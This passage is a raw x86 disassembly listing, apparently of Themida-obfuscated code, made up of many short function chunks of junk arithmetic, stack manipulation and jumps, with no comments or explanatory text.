loc_55F5B7: ; CODE XREF: sub_562ABA+7118j
add esp, 2
jmp loc_56781B
; ---------------------------------------------------------------------------
loc_55F5BF: ; CODE XREF: sub_562ABA+EFB1j
add ecx, eax
pop eax
sub ecx, 0D9B70947h
add eax, ecx
pop ecx
add edx, 67E338ACh
jmp loc_56FCB9
; ---------------------------------------------------------------------------
loc_55F5D6: ; CODE XREF: sub_562ABA+ABCAj
mov eax, [esp-18h+arg_14]
add esp, 4
push edi
mov edi, 19102D5Bh
not edi
jmp loc_568C33
; ---------------------------------------------------------------------------
loc_55F5E9: ; CODE XREF: sub_562ABA+B662j
add esp, 4
jmp loc_57057B
; ---------------------------------------------------------------------------
loc_55F5F1: ; CODE XREF: sub_562ABA+4589j
push 664836BDh
pop eax
sub eax, 4FA97DF8h
sub eax, 57EC2ABFh
push ecx
jmp loc_56F2D4
; ---------------------------------------------------------------------------
loc_55F607: ; CODE XREF: sub_562ABA+5D26j
pop eax
jmp loc_563406
; ---------------------------------------------------------------------------
loc_55F60D: ; CODE XREF: sub_562ABA-490Dj
sub ebx, 4CD9689Fh
add ebx, 599A27A1h
mov esi, ebx
jmp loc_56E835
; ---------------------------------------------------------------------------
loc_55F620: ; CODE XREF: sub_562ABA-1C62j
not cl
sub cl, 0CAh
jmp loc_56CAFF
; ---------------------------------------------------------------------------
loc_55F62A: ; CODE XREF: sub_562ABA-3FB8j
dec eax
xor eax, 743E392Dh
mov esi, eax
pop eax
neg esi
jmp loc_566897
; ---------------------------------------------------------------------------
loc_55F63A: ; CODE XREF: sub_562ABA-1CEAj
push edi
push [esp+2Ah+var_28+2]
pop edi
pop [esp+2Ah+var_2C+2]
jmp loc_570AFA
; ---------------------------------------------------------------------------
loc_55F648: ; CODE XREF: sub_562ABA+1322j
add edi, 281964E7h
pop ebx
sub esp, 4
jmp loc_5648BE
; ---------------------------------------------------------------------------
loc_55F657: ; CODE XREF: sub_562ABA+4A00j
pop edi
pop [esp+22h+var_22]
jmp loc_55F7F2
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F660 proc near ; CODE XREF: sub_562ABA-417Ej
push ebp
push ecx
jmp loc_56E21F
sub_55F660 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F667: ; CODE XREF: sub_562ABA-2ED5j
push [esp+1Eh+var_1A]
pop edi
pop [esp+1Eh+var_1E]
mov esp, [esp+1Ah+var_1A]
jmp loc_56CDBE
; ---------------------------------------------------------------------------
loc_55F677: ; CODE XREF: sub_562ABA+75E2j
pop eax
sub esi, 442FCB44h
jmp loc_563CCC
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_55F683: ; DATA XREF: Themida_:0055DFF8o
mov cx, [esp]
sub esp, 4
jmp loc_56B8F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F692: ; CODE XREF: sub_562ABA-463Dj
add esi, 42F83190h
or esi, 656237F6h
xor esi, 0ED6EBFF3h
add ebp, esi
pop esi
xor ebp, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], ebp
xor ebp, [esp+0Ah+var_C+2]
pop esp
jmp sub_572C02
; ---------------------------------------------------------------------------
loc_55F6B6: ; CODE XREF: sub_562ABA+70D7j
or edx, 1C34268Eh
push ebp
mov ebp, 721C54EFh
xor edx, ebp
pop ebp
jmp loc_56E88F
; ---------------------------------------------------------------------------
loc_55F6CA: ; CODE XREF: sub_562ABA+CCBAj
add ecx, 4
xor ecx, [esp+6+var_8+2]
xor [esp+6+var_8+2], ecx
xor ecx, [esp+6+var_8+2]
jmp loc_56143C
; ---------------------------------------------------------------------------
loc_55F6DB: ; CODE XREF: sub_562ABA-1C4Bj
add ecx, 75FA291Ch
dec ecx
and ecx, 187D413Ch
jmp loc_569B69
; ---------------------------------------------------------------------------
loc_55F6ED: ; CODE XREF: sub_562ABA+8E12j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ah+var_C+2]
pop esp
push 0E73h
mov [esp+0Ah+var_C+2], ebp
push ecx
mov ecx, 3BAE2ED8h
mov ebp, 3BAE2EDCh
sub ebp, ecx
pop ecx
add eax, ebp
pop ebp
push eax
jmp loc_5698FE
; ---------------------------------------------------------------------------
loc_55F71C: ; CODE XREF: sub_562ABA+661Bj
and ebx, 4A0F7EA1h
or ebx, 7E552227h
shl ebx, 3
sub ebx, 0F2FBF534h
jmp loc_56AEEA
; ---------------------------------------------------------------------------
loc_55F736: ; CODE XREF: sub_562ABA-5ABj
push 615Dh
jmp loc_5720CD
; ---------------------------------------------------------------------------
loc_55F740: ; CODE XREF: sub_562ABA+61EAj
mov [esp+0], esi
push 5A46h
mov [esp+12h+var_12], eax
jmp loc_568EA3
; ---------------------------------------------------------------------------
loc_55F750: ; CODE XREF: sub_562ABA+42BAj
mov esp, [esp+12h+var_12]
mov [esp+12h+var_12], eax
mov eax, esp
push ebx
push 4
pop ebx
add eax, ebx
pop ebx
push 3682h
jmp loc_55F2AA
; ---------------------------------------------------------------------------
loc_55F76C: ; CODE XREF: sub_562ABA+69ADj
add edx, 4
jmp loc_571F91
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F777 proc near ; CODE XREF: sub_562ABA+D694j
push ebp
mov ebp, 3CF70E94h
sub ebp, 4B3E0D64h
jmp loc_563A0C
sub_55F777 endp
; =============== S U B R O U T I N E =======================================
sub_55F788 proc near ; CODE XREF: sub_562ABA+865Aj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
mov dx, 323h
or dx, 5EE6h
dec dx
shl dx, 4
xor dx, 5B26h
not dx
xor dx, 2CA2h
xor si, dx
pop edx
sub si, 1A55h
jmp loc_563EBF
sub_55F788 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F7BB: ; CODE XREF: sub_562ABA+4B7Dj
shr edx, 2
not edx
add edx, 8BAC0D50h
sub ebx, 281E2778h
add ebx, edx
add ebx, 281E2778h
jmp loc_567A86
; ---------------------------------------------------------------------------
loc_55F7D9: ; CODE XREF: sub_562ABA-E9Fj
mov ecx, esp
push edx
push eax
mov eax, 4
jmp loc_566BBB
; ---------------------------------------------------------------------------
loc_55F7E7: ; CODE XREF: sub_562ABA+1018j
push esi
mov esi, 3E9C34EAh
jmp loc_570CFE
; ---------------------------------------------------------------------------
loc_55F7F2: ; CODE XREF: sub_562ABA-345Fj
pop esp
jmp loc_5661B8
; ---------------------------------------------------------------------------
loc_55F7F8: ; CODE XREF: sub_562ABA+50F2j
sub [edi+24h], ebp
mov ebp, [esp+1Ah+var_1A]
sub esp, 4
jmp loc_56CA3C
; ---------------------------------------------------------------------------
loc_55F806: ; CODE XREF: sub_562ABA+990Aj
sub eax, edi
push esi
mov esi, 6D415DB2h
add eax, esi
push [esp+22h+var_22]
jmp loc_569DA0
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
xor [esp], eax
xor eax, [esp]
xor [esp], eax
jmp loc_569452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F826: ; CODE XREF: sub_562ABA+42FAj
xor ebp, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], ebp
xor ebp, [esp+26h+var_28+2]
pop esp
push ebp
sub [esp+26h+var_28+2], 6AFC08E2h
jmp loc_56D0D7
; ---------------------------------------------------------------------------
loc_55F83D: ; CODE XREF: sub_562ABA-2CBj
add ebp, edx
pop edx
push ebp
push edx
mov edx, 36C35838h
add [esp+2Ah+var_28+2], edx
pop edx
pop esi
jmp loc_5637CC
; ---------------------------------------------------------------------------
loc_55F852: ; CODE XREF: sub_562ABA+FABEj
sub ebp, 4A903ECEh
sub esp, 4
mov [esp+26h+var_28+2], ecx
mov ecx, 52D877B0h
xor ebp, ecx
pop ecx
xor ecx, ebp
jmp loc_566EBA
; ---------------------------------------------------------------------------
loc_55F86D: ; CODE XREF: sub_562ABA+8D29j
mov eax, 96E473Bh
shr eax, 5
or eax, 3ECF7FC2h
push ecx
push edi
mov edi, 553161C0h
push ebx
push 4E38h
mov [esp+32h+var_32], eax
mov eax, 5939ABFEh
mov ebx, eax
pop eax
push ebp
mov ebp, ebx
jmp loc_5710BA
; ---------------------------------------------------------------------------
loc_55F89A: ; CODE XREF: sub_562ABA+95B5j
pop ebp
pop dword ptr [esp+0]
pop esp
mov [esp+26h+var_28+2], edx
jmp loc_571E8B
; ---------------------------------------------------------------------------
loc_55F8A7: ; CODE XREF: sub_562ABA+A271j
mov edx, 3EC53B61h
sub edx, eax
pop eax
shr edx, 1
inc edx
xor edx, 0F7453AABh
xor ebx, edx
pop edx
mov eax, ebx
jmp loc_5652F8
; ---------------------------------------------------------------------------
loc_55F8C2: ; CODE XREF: sub_562ABA+445Fj
mov ebx, [esp+1Eh+var_1E]
add esp, 4
pop [esp+1Ah+var_1A]
pop esp
jmp loc_56ADF5
; ---------------------------------------------------------------------------
loc_55F8D1: ; CODE XREF: sub_562ABA+D4D9j
mov ecx, esp
push edi
mov edi, 0F772A93h
add edi, 559A5164h
push ebx
push ebp
mov ebp, 3BE17BA9h
mov ebx, ebp
pop ebp
push esi
mov esi, 0CC956333h
sub ebx, esi
pop esi
add edi, ebx
pop ebx
add edi, 2BA26B97h
add ecx, edi
jmp loc_56F773
; ---------------------------------------------------------------------------
loc_55F902: ; CODE XREF: sub_562ABA+F3A8j
add esp, 4
jmp loc_5703C0
; ---------------------------------------------------------------------------
loc_55F90A: ; CODE XREF: sub_562ABA+EE76j
inc esi
add esi, 0FFFFFFFFh
add esi, 65D93872h
jmp loc_5675FC
; ---------------------------------------------------------------------------
loc_55F91C: ; CODE XREF: sub_562ABA+CF0Bj
mov ebp, 4
add [esp+4], ebp
pop ebp
pop ebp
push edi
mov edi, 71716A4Fh
shr edi, 1
push edi
jmp loc_565760
; ---------------------------------------------------------------------------
loc_55F935: ; CODE XREF: sub_562ABA+7357j
pop esi
jmp loc_565F26
; ---------------------------------------------------------------------------
loc_55F93B: ; CODE XREF: sub_562ABA-21F5j
xor esi, ecx
jmp loc_571796
; ---------------------------------------------------------------------------
loc_55F942: ; CODE XREF: sub_562ABA+F828j
pop ebp
sub [esp+0Ah+var_8+2], 491013F9h
sub [esp+0Ah+var_8+2], 52C3233Ah
jmp loc_56BDA8
; ---------------------------------------------------------------------------
loc_55F958: ; CODE XREF: sub_562ABA+59D2j
mov ax, word ptr [esp+0Ah+var_C+2]
sub esp, 4
mov [esp+0], esi
jmp loc_560FCD
; ---------------------------------------------------------------------------
loc_55F96A: ; CODE XREF: sub_562ABA+5E4j
mov [esp+0], edi
jmp loc_56201B
; ---------------------------------------------------------------------------
loc_55F972: ; CODE XREF: sub_562ABA+584Cj
and edx, 64E213D5h
sub edx, 978BE71Bh
add ecx, edx
mov edx, [esp+0]
add esp, 4
inc ecx
add ecx, 4398561Ch
jmp loc_5683AF
; ---------------------------------------------------------------------------
loc_55F995: ; CODE XREF: sub_562ABA+19D0j
sub ebp, ecx
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_55EE33
; ---------------------------------------------------------------------------
loc_55F9A5: ; CODE XREF: sub_562ABA+131Bj
xchg eax, [esp+6+var_8+2]
xchg eax, ecx
not ecx
xchg eax, ecx
jmp loc_561E3E
; ---------------------------------------------------------------------------
loc_55F9B1: ; CODE XREF: sub_562ABA+5C38j
mov [esp+6+var_8+2], eax
push edi
push 7E6E5E5Ch
pop edi
and edi, 5F2920C9h
inc edi
xor edi, 1F1C2E03h
push edi
pop eax
pop edi
mov edx, 41342E4Eh
xor edx, eax
push [esp+6+var_8+2]
mov eax, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_56B6B1
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55F9E0 proc near ; CODE XREF: sub_562ABA+264j
push bx
push bx
jmp loc_56A9AE
sub_55F9E0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55F9E9: ; CODE XREF: sub_562ABA+35BAj
add esp, 4
sub esp, 4
jmp loc_569EC5
; ---------------------------------------------------------------------------
loc_55F9F7: ; CODE XREF: sub_562ABA+77BEj
push 2Ch
mov eax, [esp+0Ah+var_C+2]
push 11E2h
mov [esp+0], ecx
push esp
pop ecx
push eax
jmp loc_562B12
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55FA0F proc near ; CODE XREF: sub_562ABA+A175j
push ebx
push edx
push 46665A5Bh
pop edx
sub edx, 12B12CACh
mov ebx, edx
pop edx
jmp loc_564828
sub_55FA0F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55FA25: ; CODE XREF: sub_562ABA+7A3Fj
sub esi, 5B213384h
mov ebp, esi
pop esi
or ebp, 0AF472E9h
push ebx
jmp loc_5702F1
; ---------------------------------------------------------------------------
loc_55FA3A: ; CODE XREF: sub_562ABA-3794j
push eax
jmp loc_56AE05
; ---------------------------------------------------------------------------
loc_55FA40: ; CODE XREF: sub_562ABA+B5C7j
push 5E2Dh
mov [esp+16h+var_16], ecx
mov ecx, 76F16ACDh
dec ecx
not ecx
jmp loc_563EA4
; ---------------------------------------------------------------------------
loc_55FA55: ; CODE XREF: sub_562ABA+D5C4j
not ecx
push eax
mov eax, 22961F12h
shl eax, 3
push ebx
mov ebx, 409A317Dh
sub ebx, 7D08664Eh
xor ebx, 17AE0947h
xor ebx, 0C6F8BE48h
add eax, ebx
jmp loc_5681D7
; ---------------------------------------------------------------------------
loc_55FA7F: ; CODE XREF: sub_562ABA+73A8j
xchg ecx, [esp+1Eh+var_1E]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_56966D
; ---------------------------------------------------------------------------
loc_55FA91: ; CODE XREF: sub_562ABA+7384j
mov edx, 2DC1881h
and edx, 79342ED8h
not edx
sub edx, 0D8278CDDh
jmp loc_561994
; ---------------------------------------------------------------------------
loc_55FAA9: ; CODE XREF: sub_562ABA+A85Aj
add edi, esi
pop esi
add edi, 4
xchg edi, [esp+1Ah+var_1A]
pop esp
pop [esp+16h+var_16]
jmp loc_5667BA
; ---------------------------------------------------------------------------
loc_55FABB: ; CODE XREF: sub_562ABA+9D5Ej
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55FAC0: ; CODE XREF: sub_562ABA+5BFDj
add edi, esi
pop esi
xchg edi, [esp+0]
mov esp, [esp+0]
or [edi+1Ch], eax
mov eax, [esp+0]
add esp, 4
loc_55FAD2: ; CODE XREF: sub_562ABA+B8A1j
push 6761h
mov [esp+0], ebx
push 5128h
jmp loc_56B98A
; ---------------------------------------------------------------------------
loc_55FAE4: ; CODE XREF: sub_562ABA+C880j
pop eax
mov ch, dl
pop edx
add bl, 93h
add bl, ch
push eax
mov ah, 18h
jmp loc_56B8D9
; ---------------------------------------------------------------------------
loc_55FAF5: ; CODE XREF: sub_562ABA+43E5j
pop eax
push esi
sub esp, 4
mov [esp+12h+var_12], esp
add [esp+12h+var_12], 4
pop esi
jmp loc_56D612
; ---------------------------------------------------------------------------
loc_55FB0D: ; CODE XREF: sub_562ABA+D4A9j
push dword ptr [esp+0]
jmp loc_561BA7
; ---------------------------------------------------------------------------
loc_55FB15: ; CODE XREF: sub_562ABA-1CB1j
mov ebp, 4
add ecx, ebp
jmp loc_567707
; ---------------------------------------------------------------------------
loc_55FB21: ; CODE XREF: sub_562ABA-1D17j
not esi
shl esi, 2
add esi, 18CD514Ch
push ecx
mov ecx, 52AA291Dh
jmp loc_566F67
; ---------------------------------------------------------------------------
loc_55FB37: ; CODE XREF: sub_562ABA-48Aj
sub [esp+16h+var_12], 66220272h
jmp loc_56384F
; ---------------------------------------------------------------------------
loc_55FB44: ; CODE XREF: sub_562ABA+102Aj
mov [esp+16h+var_16], ebx
push esp
push [esp+1Ah+var_1A]
pop ebx
add esp, 4
jmp loc_56D62A
; ---------------------------------------------------------------------------
loc_55FB57: ; CODE XREF: sub_562ABA+D439j
mov [esp+16h+var_16], eax
push edx
jmp loc_5643AB
; ---------------------------------------------------------------------------
loc_55FB60: ; CODE XREF: sub_562ABA+2135j
mov edi, esp
jmp loc_561DF8
; ---------------------------------------------------------------------------
loc_55FB67: ; CODE XREF: sub_562ABA-1EE5j
add ecx, 4
jmp sub_571EF9
; ---------------------------------------------------------------------------
loc_55FB72: ; CODE XREF: sub_562ABA+9317j
mov ecx, eax
pop eax
add edi, 6E9E55B7h
jmp loc_55EB07
; ---------------------------------------------------------------------------
loc_55FB80: ; CODE XREF: sub_562ABA+66FAj
push 1D7Eh
mov [esp+1Ah+var_1A], ebx
mov ebx, 2
sub edx, ebx
jmp loc_560D39
; ---------------------------------------------------------------------------
loc_55FB94: ; CODE XREF: sub_562ABA+58CEj
pop eax
add eax, edi
pop edi
mov edi, eax
mov eax, [esp+12h+var_12]
add esp, 4
push ecx
mov ecx, 3CC2787Ah
sub edi, ecx
pop ecx
sub edi, 0F422CFh
add edi, ecx
add edi, 0F422CFh
add edi, 3CC2787Ah
pop ecx
shr edi, 1
add edi, 314804A9h
xor eax, edi
jmp loc_565B14
; ---------------------------------------------------------------------------
loc_55FBCD: ; CODE XREF: sub_562ABA+19B3j
push edi
mov edi, esp
jmp loc_55F09C
; ---------------------------------------------------------------------------
loc_55FBD5: ; CODE XREF: sub_562ABA+621Ej
add edi, 4
jmp loc_560466
; ---------------------------------------------------------------------------
loc_55FBDD: ; CODE XREF: sub_562ABA+D23j
mov eax, ebp
jmp loc_560FB7
; ---------------------------------------------------------------------------
loc_55FBE4: ; CODE XREF: sub_562ABA+94CAj
push edi
jmp loc_55F667
; ---------------------------------------------------------------------------
loc_55FBEA: ; CODE XREF: sub_562ABA+F35Cj
pop ebx
shr ecx, 3
shl ecx, 4
jmp loc_570887
; ---------------------------------------------------------------------------
loc_55FBF6: ; CODE XREF: sub_562ABA-1E47j
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp+0]
jmp loc_568022
; ---------------------------------------------------------------------------
loc_55FC0C: ; CODE XREF: sub_562ABA+FF5j
mov edx, esp
add edx, 4
push eax
mov eax, 4
jmp loc_570124
; ---------------------------------------------------------------------------
loc_55FC1F: ; CODE XREF: sub_562ABA+46F2j
pop ebp
add esp, 4
push ebp
jmp loc_569D60
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_55FC29: ; CODE XREF: sub_55FCA5+8Cj
push ecx
push esi
mov esi, 7D3E44DEh
mov ecx, 98F64B6Ah
sub ecx, esi
jmp loc_56B0AF
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55FC3C: ; CODE XREF: sub_562ABA+6BAEj
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55FC41 proc near ; CODE XREF: sub_562ABA+358Ej
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 0055EE73 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005626F2 SIZE 0000000A BYTES
push ebp
sub esp, 4
jmp loc_5626F2
sub_55FC41 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_55FC4A: ; CODE XREF: sub_562ABA+35C9j
mov [esp+0], edi
jmp loc_56A673
; ---------------------------------------------------------------------------
loc_55FC52: ; CODE XREF: sub_562ABA+5B6Cj
xchg edi, [esp+0]
mov esp, [esp+0]
push 75A6h
jmp loc_56F29A
; ---------------------------------------------------------------------------
loc_55FC62: ; CODE XREF: sub_562ABA+B088j
sub eax, esi
add eax, 50A460BFh
push [esp+12h+var_12]
pop esi
sub esp, 4
mov [esp+16h+var_16], ecx
jmp loc_56660F
; ---------------------------------------------------------------------------
loc_55FC78: ; CODE XREF: sub_562ABA+1DCj
add esp, 4
jmp loc_56FC8D
; ---------------------------------------------------------------------------
loc_55FC83: ; CODE XREF: sub_562ABA+A9CDj
xor esi, edi
mov edi, [esp+12h+var_12]
jmp loc_56D95B
; ---------------------------------------------------------------------------
loc_55FC8D: ; CODE XREF: sub_562ABA+CF21j
not eax
jmp loc_5718FF
; ---------------------------------------------------------------------------
loc_55FC94: ; CODE XREF: sub_562ABA+B7C7j
pop esp
push eax
mov ah, 0E4h
jmp loc_565DC7
; ---------------------------------------------------------------------------
loc_55FC9D: ; CODE XREF: sub_562ABA+6F33j
sub ebx, ecx
pop ecx
jmp loc_56C8BE
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_55FCA5 proc near ; CODE XREF: sub_562ABA+10A6j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055E5F7 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055E7AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055FC29 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056024A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005604FE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560E2F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005611F9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00561B5D SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00561E49 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562228 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562713 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571F46 SIZE 00000009 BYTES
sub esp, 4
jmp loc_560165
; ---------------------------------------------------------------------------
loc_55FCAD: ; CODE XREF: sub_562ABA+BDFDj
mov [esp+0], ecx
mov ecx, 6CB21B6Eh
push eax
mov eax, 934EE491h
add ecx, eax
push [esp+4+var_4]
jmp loc_5604FE
; ---------------------------------------------------------------------------
loc_55FCC5: ; CODE XREF: sub_562ABA-C76j
pop eax
sub esp, 4
mov [esp+0], edx
mov edx, esp
add edx, 4
push ebx
jmp loc_56358E
; ---------------------------------------------------------------------------
loc_55FCDA: ; CODE XREF: sub_562ABA+850Cj
add edi, 25694FA8h
jmp loc_5714C8
; ---------------------------------------------------------------------------
loc_55FCE5: ; CODE XREF: sub_562ABA+A056j
neg ecx
sub ecx, 0B309AFA2h
sub edx, ecx
push dword ptr [esp+0]
pop ecx
add esp, 4
add edx, 159F3590h
push ecx
mov ecx, 0
add ecx, edx
jmp loc_56ACF3
; ---------------------------------------------------------------------------
loc_55FD0C: ; CODE XREF: sub_562ABA+57BDj
sub edx, 14002470h
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
add esp, 4
push 447Fh
mov [esp+4+var_4], eax
mov eax, 5D685C7Ch
sub edx, eax
pop eax
jmp loc_55FC29
; ---------------------------------------------------------------------------
loc_55FD36: ; CODE XREF: sub_562ABA+B49Cj
add esp, 4
push edi
push esp
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_57069D
; ---------------------------------------------------------------------------
loc_55FD49: ; CODE XREF: sub_562ABA+2ECDj
sub ebp, ebx
pop ebx
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov word ptr [esp-6+arg_0+2], cx
movzx cx, al
push cx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55FD62: ; CODE XREF: sub_562ABA+5521j
sub edi, 93B3D9A2h
mov edx, edi
pop edi
jmp loc_56CA32
; ---------------------------------------------------------------------------
loc_55FD70: ; CODE XREF: sub_562ABA+24CBj
mov edx, 4FD33BDAh
jmp loc_56E327
; ---------------------------------------------------------------------------
loc_55FD7A: ; CODE XREF: sub_562ABA+67C8j
add dword ptr [esp+0], 4
push dword ptr [esp+0]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], eax
jmp loc_56B531
; ---------------------------------------------------------------------------
loc_55FD9A: ; CODE XREF: sub_562ABA-3ADEj
sub esp, 4
mov [esp+4+var_4], eax
push 552Bh
mov [esp+8+var_8], esi
add [esp+8+var_8], 42351DA6h
jmp loc_56F7CB
; ---------------------------------------------------------------------------
loc_55FDB7: ; CODE XREF: sub_562ABA+1008Cj
add edx, 467E41A7h
push ecx
mov ecx, 27EF401Ch
sub edx, ecx
pop ecx
push ebx
mov ebx, 0
add ebx, edx
add [ebx], eax
pop ebx
jmp loc_56D3CB
; ---------------------------------------------------------------------------
loc_55FDD6: ; CODE XREF: sub_562ABA-3D69j
mov cl, 0
inc cl
xor cl, 37h
sub cl, 1Dh
jmp loc_568D93
; ---------------------------------------------------------------------------
loc_55FDE5: ; CODE XREF: sub_562ABA+A8DBj
mov ecx, 21EC4BCBh
neg ecx
neg ecx
jmp loc_566D0E
; ---------------------------------------------------------------------------
loc_55FDF3: ; CODE XREF: sub_562ABA-1DF1j
shr edx, 1
cmp eax, edx
jz loc_562228
push ebx
jmp loc_56645A
; ---------------------------------------------------------------------------
loc_55FE03: ; CODE XREF: sub_562ABA-45BDj
sub esp, 4
jmp loc_56D375
; ---------------------------------------------------------------------------
loc_55FE0E: ; CODE XREF: sub_562ABA+C88Bj
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_55FE19: ; CODE XREF: sub_562ABA+B525j
add eax, ebx
pop ebx
push ebx
mov ebx, 522F3CEDh
add eax, ebx
pop ebx
sub eax, ebp
push ebp
mov ebp, 6073F41h
shl ebp, 3
or ebp, 76563A6Ch
xor ebp, 2450C681h
jmp loc_5660F4
; ---------------------------------------------------------------------------
loc_55FE41: ; CODE XREF: sub_562ABA+DB73j
and si, 1057h
add si, 2422h
sub bx, 69FCh
jmp loc_561E49
; ---------------------------------------------------------------------------
loc_55FE55: ; CODE XREF: sub_562ABA+2F80j
push edx
mov dh, 0ADh
mov cl, 7Fh
add cl, dh
pop edx
mov dh, cl
pop ecx
add al, dh
mov dx, word ptr [esp-4+arg_0]
push ecx
jmp loc_56A75F
; ---------------------------------------------------------------------------
loc_55FE6C: ; CODE XREF: sub_562ABA-394Ej
mov ecx, [esp+0]
push edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
pop eax
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
sub edi, ebp
add edi, 23E16761h
push dword ptr [esp+0]
jmp loc_56F3A6
; ---------------------------------------------------------------------------
loc_55FE92: ; CODE XREF: sub_562ABA-206Cj
sub eax, 363D0BE5h
pop ebp
push ebx
mov ebx, 3874F6h
sub ebx, 3874F2h
add eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_5634FA
; ---------------------------------------------------------------------------
loc_55FEB1: ; CODE XREF: sub_562ABA+873Dj
mov [esp+0], ebp
jmp loc_571F46
; ---------------------------------------------------------------------------
loc_55FEB9: ; CODE XREF: sub_562ABA+F81Fj
add ebp, edi
pop edi
jmp loc_566363
; ---------------------------------------------------------------------------
loc_55FEC1: ; DATA XREF: Themida_:0055DDD0o
lodsd
jmp loc_56A383
; ---------------------------------------------------------------------------
loc_55FEC7: ; CODE XREF: sub_562ABA+9F14j
mov esi, 153654BDh
or esi, 3EB510F3h
sub esi, 43474A54h
dec esi
sub esi, 0DC2AD017h
jmp loc_56CD5B
; ---------------------------------------------------------------------------
loc_55FEE4: ; CODE XREF: sub_562ABA+A618j
mov edi, 4
add [esp+8+var_4], edi
pop edi
pop [esp+4+var_4]
add dword ptr [esp+0], 4
pop esi
push edx
push 6C2F0999h
pop edx
shl edx, 1
shl edx, 1
neg edx
xor edx, 4F43D998h
sub esi, 4A957F73h
add esi, edx
add esi, 4A957F73h
mov edx, [esp+0]
jmp loc_56BB04
; ---------------------------------------------------------------------------
loc_55FF22: ; CODE XREF: sub_562ABA+EE01j
inc edi
or edi, 98852E8h
inc edi
push 222Dh
mov [esp+4+var_4], eax
jmp loc_569E36
; ---------------------------------------------------------------------------
loc_55FF37: ; CODE XREF: sub_562ABA+CC8Aj
push 6B38h
push esp
pop [esp+8+var_8]
add [esp+4+var_4], 4
pop esi
jmp loc_57083A
; ---------------------------------------------------------------------------
loc_55FF4D: ; CODE XREF: sub_562ABA+1A89j
pop edx
add ecx, 77C82406h
sub ecx, ebp
sub ecx, 77C82406h
pop ebp
add esi, ecx
pop ecx
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
mov esp, [esp+0]
jmp loc_563F27
; ---------------------------------------------------------------------------
loc_55FF71: ; CODE XREF: sub_562ABA+755Fj
pop ecx
jmp loc_56B87C
; ---------------------------------------------------------------------------
loc_55FF77: ; CODE XREF: sub_562ABA-1489j
or ecx, ebx
pop ebx
jmp loc_56AED6
; ---------------------------------------------------------------------------
loc_55FF7F: ; CODE XREF: sub_562ABA+B028j
sub ebx, 52F370AAh
pop eax
xchg ebx, [esp+0]
jmp loc_5692F3
; ---------------------------------------------------------------------------
loc_55FF8E: ; CODE XREF: sub_562ABA+BA2Bj
push edx
push 125Eh
mov [esp+8+var_8], ecx
mov cl, 34h
mov dl, 99h
jmp loc_560E2F
; ---------------------------------------------------------------------------
loc_55FFA0: ; CODE XREF: sub_562ABA+74B4j
pop ebp
pop [esp+8+var_8]
pop esp
jmp loc_56024A
; ---------------------------------------------------------------------------
loc_55FFAA: ; CODE XREF: sub_562ABA+8F48j
pop edx
push 7BF8h
mov [esp+4+var_4], eax
jmp loc_5611F9
; ---------------------------------------------------------------------------
loc_55FFB8: ; CODE XREF: sub_55F510+14j
mov al, 5Fh
neg al
push ecx
